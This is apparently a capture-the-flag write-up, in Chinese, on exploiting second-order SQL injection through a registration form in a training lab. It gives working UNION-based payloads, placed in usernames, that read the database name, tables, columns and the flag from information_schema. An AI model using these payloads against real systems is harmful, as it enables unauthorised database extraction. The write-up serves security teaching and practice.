打开环境发现是一个登录页面,也有注册的功能

页面信息.PNG

猜测是二次注入的漏洞,尝试注册进行登录

注册.PNG

注册成功并且登录进去,发现有一个输入框,但是怎么输入都不回显

没有回显的东西.PNG

怀疑是用户名造成数据库的报错,再去重新创建一个用户名为1,密码为1,发现可以回显并且会把 ‘ “给转义

重新注册11发现有东西回显.PNG

一顿测试之后发现绕过不了,再去验证二次注入,把sql语句写入注册的用户名里带入数据库

  1. admin' union select database() #

注册试试.PNG

注册成功并且回显了数据库的名字,验证是二次注入

数据库名.PNG

重复操作获取表名

  1. admin' union select group_concat(table_name) from information_schema.tables where table_schema='ctftraining' #

table.PNG

获取列

  1. admin' union select group_concat(column_name) from information_schema.columns where table_name='flag' #

column.PNG

爆字段值,获得flag

  1. admin' union select group_concat(flag) from flag #

flag.PNG